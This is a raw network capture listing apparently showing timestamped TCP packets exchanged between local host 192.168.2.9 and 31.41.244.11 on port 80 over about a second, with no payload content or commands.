Nov 18, 2024 15:18:11.479424953 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.479516029 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.479521036 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.479530096 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.479543924 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.479561090 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.479581118 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.542112112 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.542129993 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.542155027 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.542171001 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.542186022 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.542200089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.542260885 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.542304039 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.557579041 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.557614088 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.557630062 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.557646036 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.557662964 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.557682037 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.557734966 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.557806969 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.557821035 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.557833910 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.557873011 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.557873011 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.558221102 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.558234930 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.558247089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.558286905 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.558355093 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.596045017 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596071005 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596088886 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596108913 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596167088 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596301079 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.596358061 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596371889 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596407890 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.596427917 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596441031 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596453905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596466064 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.596483946 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.596498966 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.596498966 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.596513033 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.596546888 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.597217083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.597250938 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.597265005 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.597270966 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.597302914 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.597325087 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.659308910 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.659378052 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.659394026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.659409046 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.659439087 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.659470081 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.659542084 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.660485983 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.674644947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.674665928 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.674694061 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.674711943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.674720049 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.674730062 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.674740076 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.674752951 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.674776077 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.674810886 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.675246954 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.675268888 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.675297976 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.675327063 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.675329924 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.675340891 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.675347090 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.675374985 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.675396919 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.712934971 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.712968111 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.712985039 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.713001013 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.713021040 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.713059902 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.713068962 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.713160038 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.713215113 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.713253975 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.713335991 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.713362932 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.713372946 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.713385105 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.713398933 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.713416100 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.713437080 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.713931084 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.713978052 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.714025021 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.714144945 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.714159012 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.714176893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.714184046 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.714219093 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.714477062 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.714540958 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.714540958 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.714555025 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.714579105 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.714595079 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.776510000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.776587009 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.776597977 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.776612043 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.776648045 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.776685953 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.791465998 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.791517973 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.791524887 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.791532993 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.791558981 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.791568995 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.791862011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.791874886 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.791887999 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.791932106 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.791944981 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.792104006 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.792128086 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.792148113 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.792164087 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.792175055 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.792188883 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.792224884 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.792363882 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.792377949 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.792391062 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.792404890 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.792433977 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.792859077 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.792896986 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.829884052 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.829916000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.829933882 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.829999924 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.830032110 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.830347061 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.830363989 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.830378056 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.830413103 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.830439091 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.830522060 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.830537081 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.830553055 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.830573082 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.830581903 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.830605030 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.830632925 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.830977917 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.831002951 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.831046104 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.831070900 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.831099033 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.831116915 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.831262112 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.831280947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.831298113 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.831321955 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.831450939 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.831450939 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.831450939 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.896584988 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.896625042 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.896646023 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.896672964 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.896702051 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.908634901 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.908682108 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.908703089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.908822060 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.908910036 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.908937931 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.908953905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.908962965 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.909006119 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.909223080 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.909270048 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.909338951 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.909351110 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.909374952 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.909388065 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.909389973 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.909400940 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.909426928 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.909446001 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.909825087 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.909838915 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.909853935 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.909873962 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.909903049 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.946993113 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947011948 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947026014 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947174072 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.947174072 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.947407961 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947454929 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947465897 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.947474003 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947489977 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947499037 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.947515011 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.947532892 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.947705030 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947721004 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947734118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947748899 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947753906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.947768927 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947774887 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.947783947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947796106 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.947808027 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.947829008 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.947854042 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.948613882 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.948626995 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.948637962 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:11.948662043 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:11.948676109 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.015995979 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.016047955 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.016088963 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.016216993 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.016216993 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.026833057 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.026900053 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.026956081 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.026992083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.027025938 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.027025938 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.027028084 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.027043104 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.027065992 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.027076006 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.027105093 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.027112961 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.027148962 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.027184963 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.027234077 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.027240992 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.027277946 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.027291059 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.027343988 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.027667999 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.027721882 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.028107882 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.028143883 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.028160095 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.028192043 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.064409018 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.064450979 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.064488888 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.064567089 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.064599037 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.064608097 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.064639091 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.064650059 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.064678907 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.064682961 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.064717054 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.064723969 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.064760923 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.064798117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.064851999 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.065047026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.065083027 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.065098047 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.065121889 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.065129042 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.065159082 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.065175056 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.065201998 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.065464020 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.065510988 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.065524101 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.065563917 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.065579891 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.065615892 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.065625906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.065651894 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.065660954 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.065695047 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.066121101 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.066174984 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.066245079 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.066312075 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.108064890 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.108077049 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.108179092 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.133002043 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.133188009 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.133219957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.133255959 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.133281946 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.133317947 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.144181013 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.144241095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.144264936 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.144279003 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.144306898 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.144316912 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.144332886 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.144355059 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.144364119 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.144391060 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.144399881 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.144429922 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.144478083 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.144633055 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.144678116 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.144762039 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.144798040 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.144820929 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.144840002 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.145145893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.145180941 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.145200968 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.145220041 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.145226955 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.145267010 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.181634903 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.181792021 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.181807995 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.181844950 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.181866884 CET	49847	80	192.168.2.9	31.41.244.11
